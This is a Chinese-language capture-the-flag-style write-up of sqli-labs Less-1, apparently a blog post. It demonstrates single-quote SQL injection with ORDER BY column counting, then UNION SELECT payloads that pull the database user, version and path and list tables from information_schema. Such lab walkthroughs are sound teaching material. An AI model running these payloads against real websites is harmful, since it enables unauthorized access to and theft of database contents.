sqli2 第一关

根据提示,可以知道只是个单引号注入的题目,我们在参数后面加一个单引号看下效果:这里写图片描述

可以看到数据库报错了,最重要的就是能够看懂数据库的错误信息,从错误信息中我们可以知道是单引号的匹配出了问题,也就是说我们添加的单引号成功被数据库解析,那么我们就可以通过闭合这个id这个参数,然后插入自己构造的sql语句实施攻击。我们按照步骤来,一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同(这里不过多阐述了)。
所以现在我们需要做的是
**A.**确定现有sql语句到底查询了多少个字段以及各字段的类型
**B.**构造利用代码
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1' order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:这里写图片描述意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段。
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3 %23这里写图片描述可以看到字段2,3被显示在了页面上。下面就可以构造语句了(列出几个常用的):

注:我的数据库是mysql
mysql中的注释常用两种方式–+与#,#在url中需要编码为%2以避免与url本身的锚点冲突。

获取数据库版本,数据库路径,当前用户,当前数据库:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,concat_ws('_',user(),version(),database()),@@basedir
利用元数据库来爆表、爆数据
http://localhost/sqlilabs/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值